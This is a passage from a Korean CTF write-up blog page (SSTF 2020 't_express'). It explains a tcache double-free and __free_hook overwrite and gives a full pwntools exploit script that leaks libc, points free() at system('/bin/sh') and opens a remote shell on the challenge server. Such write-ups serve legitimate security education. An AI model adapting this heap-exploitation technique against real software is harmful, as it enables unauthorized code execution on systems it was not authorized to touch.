11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>__free_hook Overwrite</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">Buy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> p64<span class=\"token punctuation\">(</span>free_hook<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span>\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"/bin/sh\\x00\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span>\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> p64<span class=\"token punctuation\">(</span>lib_system<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<ul>\n<li>C 라이브러리에는 malloc, calloc, free와 같은 함수들을 관리하기 위해 <code class=\"language-text\">__malloc_hook</code>, <code class=\"language-text\">__free_hook</code> 변수를 제공한다. 해당 변수에 후킹 함수의 주소가 저장되어 있으며 해당 함수가 호출될 때 기존의 함수가 아닌 후킹 함수가 호출된다.</li>\n<li>__free_hook의 주소를 Overwrite하기 위해 같은 크기로 할당을 한후  <code class=\"language-text\">FD</code> 의 값을 <code class=\"language-text\">__free_hook</code> 주소로 변경하게 되면 남은 tcache의 FD 값도 해당 __free_hook을 가리키게 된다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 42.77777777777778%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTElEQVQoz33Q2W7bMBAFUH2HLZOUOaREiovETYs3OY6dVkZRBAiCAP3//yiU9iVoUuA8zAD3PsxkQ9yn8ebSLgyJgMVgtAtxGDA1GKxSdtc3BCzaau1CpRymhsu2CUs4m+cfD9d7bX0a9zlhKwImdOPpvCKAgEthW5uoVMqF0+Otid2aUF7rw/mCocyO+/p4H7unIRycdsoG4Xvpe6FaiWiFQGxAEiYKLjEIDNWCVhu6DNnG1PnRr2+xiOeibArGC14VvCKs+ht9h+iH9Y8M6Xoz+vySsJswsxj4v6GvZMjU+RRX3yMKJ7w8hudbgegCgyBM/K+MS1WYWPpxax6Z7ZhutCt5zbVjtIQ1Ye+nfi4zik8pzumwv0xySKUfZIpMad83ceybkDAAop/LUrj3D6/X+f7t56z8te1futOvcXpLu2fV3HT7BNXhK78B7KZbqSI4yjsAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./25.png\"\n        title=\"./25.png\"\n        src=\"/static/e2977ce1ca466639d8412a31dfefc7f3/37523/25.png\"\n        srcset=\"/static/e2977ce1ca466639d8412a31dfefc7f3/e9ff0/25.png 180w,\n/static/e2977ce1ca466639d8412a31dfefc7f3/f21e7/25.png 360w,\n/static/e2977ce1ca466639d8412a31dfefc7f3/37523/25.png 720w,\n/static/e2977ce1ca466639d8412a31dfefc7f3/90712/25.png 882w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>tcache dup</p>\n<ul>\n<li>다음 tcache에는 “/bin/sh\\x00” 문자열을 집어 넣어할당한다. 나중에 __free_hook 주소를 system 주소로 변경하여 free를 호출할 때 system 함수가 호출되면서 해당 힙 청크를 인자로 사용하기 위해서이다.<code class=\"language-text\">system(/bin/sh\\x00)</code></li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 648px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 35.55555555555556%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA10lEQVQY04XL226DIACAYR+kngAFtZSiIigiBU+xabqLJXv/R9nFbreZ/PnvvgARzTuvzPMufMXGNKtB3pzVJtm1pF8BwJy1nfHrJYERzGKEY5SfRUIY4eoVJBlrlDZ+J5TDgkYQx4icVYYwxdU7IGwc3DJM/taqu+hRQdO8TLLi5yeYyW2ws99f3WD7aaZ1d2tlyZorFwBXIcijf3AjvNuex8entnM/zXY59GOd/C61pbxDBQW4+hPv81v7VRknhkmOD2Wc8dvoVrsco1tqqWupQV5Gv+FvBNtJjOOS6iMAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./26.png\"\n        title=\"./26.png\"\n        src=\"/static/9ea95ed24e3c7dfb20db5ce68a339122/3996e/26.png\"\n        srcset=\"/static/9ea95ed24e3c7dfb20db5ce68a339122/e9ff0/26.png 180w,\n/static/9ea95ed24e3c7dfb20db5ce68a339122/f21e7/26.png 360w,\n/static/9ea95ed24e3c7dfb20db5ce68a339122/3996e/26.png 648w\"\n        sizes=\"(max-width: 648px) 100vw, 648px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>flag</p>\n<ul>\n<li>flag를 획득할 수 있다.</li>\n</ul>\n<h2 id=\"공격-코드\" style=\"position:relative;\"><a href=\"#%EA%B3%B5%EA%B2%A9-%EC%BD%94%EB%93%9C\" aria-label=\"공격 코드 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>공격 코드</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\ne <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">'./t_express'</span><span class=\"token punctuation\">)</span>\nl <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">'./libc.so.6'</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># p = process('./t_express')</span>\np <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">'ctf.campus.theori.io'</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7079</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">Buy</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">,</span> first<span class=\"token punctuation\">,</span> last<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"1\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"(1/2): \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"First name: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>first<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>first<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Last name: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>last<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>last<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">View</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"2\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Index of ticket: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\"># leak (lib_base)</span>\n    <span class=\"token keyword\">if</span> idx <span class=\"token operator\">&lt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"|name |\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        lib_base <span class=\"token operator\">=</span> u64<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">9</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>ljust<span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'\\x00'</span><span class=\"token punctuation\">)</span>\n                       <span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">0x83</span> <span class=\"token operator\">-</span> l<span class=\"token punctuation\">.</span>sym<span class=\"token punctuation\">[</span><span class=\"token string\">'_IO_2_1_stderr_'</span><span class=\"token punctuation\">]</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token string\">\"lib_base : \"</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>lib_base<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> lib_base\n    <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"==========================\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"==========================\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">Use</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"3\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Index of ticket: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"(1/2/3/4): \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">_free</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        Use<span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    Use<span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n    Use<span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\n\nlib_base <span class=\"token operator\">=</span> View<span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"AAAA\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBBBBBB\"</span><span class=\"token punctuation\">)</span>\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"AAAA\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span>\n\n_free<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    Use<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n    Use<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n\nlib_system <span class=\"token operator\">=</span> lib_base <span class=\"token operator\">+</span> l<span class=\"token punctuation\">.</span>sym<span class=\"token punctuation\">[</span><span class=\"token string\">'system'</span><span class=\"token punctuation\">]</span>\nfree_hook <span class=\"token operator\">=</span> lib_base <span class=\"token operator\">+</span> l<span class=\"token punctuation\">.</span>sym<span class=\"token punctuation\">[</span><span class=\"token string\">'__free_hook'</span><span class=\"token punctuation\">]</span>\n\nlog<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>lib_system<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nlog<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>free_hook<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> p64<span class=\"token punctuation\">(</span>free_hook<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span>\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"/bin/sh\\x00\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span>\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> p64<span class=\"token punctuation\">(</span>lib_system<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span>\n\n_free<span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<div class=\"table-of-contents\">\n<ul>\n<li>\n<p><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EA%B0%9C%EC%9A%94\">바이너리 개요</a></p>\n<ul>\n<li><a href=\"#%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95\">보호기법</a></li>\n<li><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EC%A0%95%EB%B3%B4\">바이너리 정보</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%B6%84%EC%84%9D\">바이너리 분석</a></p>\n<ul>\n<li><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%A1%9C%EC%A7%81-%ED%9D%90%EB%A6%84\">바이너리 로직 흐름</a></li>\n<li><a href=\"#main-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\">main 함수 분석</a></li>\n<li><a href=\"#buy_ticket-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\">buy_ticket 함수 분석</a></li>\n<li><a href=\"#read_str-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D-off-by-one-%EC%B7%A8%EC%95%BD%EC%A0%90\">read_str 함수 분석 (off-by-one 취약점)</a></li>\n<li><a href=\"#view_ticket-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D-out-of-bound-integer-issues\">View_ticket 함수 분석 (out-of-bound, integer issues)</a></li>\n<li><a href=\"#use_ticket-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D-double-free\">Use_ticket 함수 분석 (Double Free)</a></li>\n<li><a href=\"#heap-%EB%A9%94%EB%AA%A8%EB%A6%AC-%ED%95%B4%EC%A0%9C-%EA%B3%BC%EC%A0%95\">heap 메모리 해제 과정</a></li>\n<li><a href=\"#%ED%95%B4%EC%A0%9C\">해제</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#%EA%B3%B5%EA%B2%A9\">공격</a></p>\n</li>\n<li>\n<p><a href=\"#%EA%B3%B5%EA%B2%A9-%EC%8B%9C%EB%82%98%EB%A6%AC%EC%98%A4\">공격 시나리오</a></p>\n</li>\n<li>\n<p><a href=\"#%EC%9D%B8%ED%84%B0%ED%8E%98%EC%9D%B4%EC%8A%A4\">인터페이스</a></p>\n</li>\n<li>\n<p><a href=\"#%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%9F%AC%EB%A6%AC-%EC%A3%BC%EC%86%8C-%EB%85%B8%EC%B6%9C\">라이브러리 주소 노출</a></p>\n</li>\n<li>\n<p><a href=\"#off-by-one%EC%9D%84-%EB%B0%94%ED%83%95%EC%9C%BC%EB%A1%9C-ticket_type-0%EC%9C%BC%EB%A1%9C-%EB%B3%80%EA%B2%BD\">off-by-one을 바탕으로 ticket_type 0으로 변경</a></p>\n</li>\n<li>\n<p><a href=\"#%EC%B2%AB-%EB%B2%88%EC%A7%B8-%ED%95%B4%EC%A0%9C%ED%9B%84-%ED%82%A4%EA%B0%92-%ED%99%95%EC%9D%B8\">첫 번째 해제후 키값 확인</a></p>\n</li>\n<li>\n<p><a href=\"#%ED%82%A4-%EB%B3%80%EC%A1%B0%ED%9B%84-doube-free-%EB%B2%84%EA%B7%B8-%EB%B0%9C%EC%83%9D\">키 변조후 Doube Free 버그 발생</a></p>\n</li>\n<li>\n<p><a href=\"#__free_hook-overwrite\">__free_hook Overwrite</a></p>\n</li>\n<li>\n<p><a href=\"#%EA%B3%B5%EA%B2%A9-%EC%BD%94%EB%93%9C\">공격 코드</a></p>\n</li>\n</ul>\n</div>","frontmatter":{"date":"September 18, 2020","title":"SSTF 2020 t_express","categories":"CTF","author":"Zer0Luck","emoji":"🥛"},"fields":{"slug":"/sstf2020_t_express_ctf_writeup/"}},"site":{"siteMetadata":{"siteUrl":"https://zer0luck.kr","comments":{"utterances":{"repo":"dnsdudrla97/dnsdudrla97.github.io"}}}}},"pageContext":{"slug":"/midnightsun_gissa2_ctf_writeup/","nextSlug":"/defcon2016_xkcd_ctf_writeup/","prevSlug":"/sstf2020_t_express_ctf_writeup/"}},
    "staticQueryHashes": ["1073350324","1956554647","2938748437"]}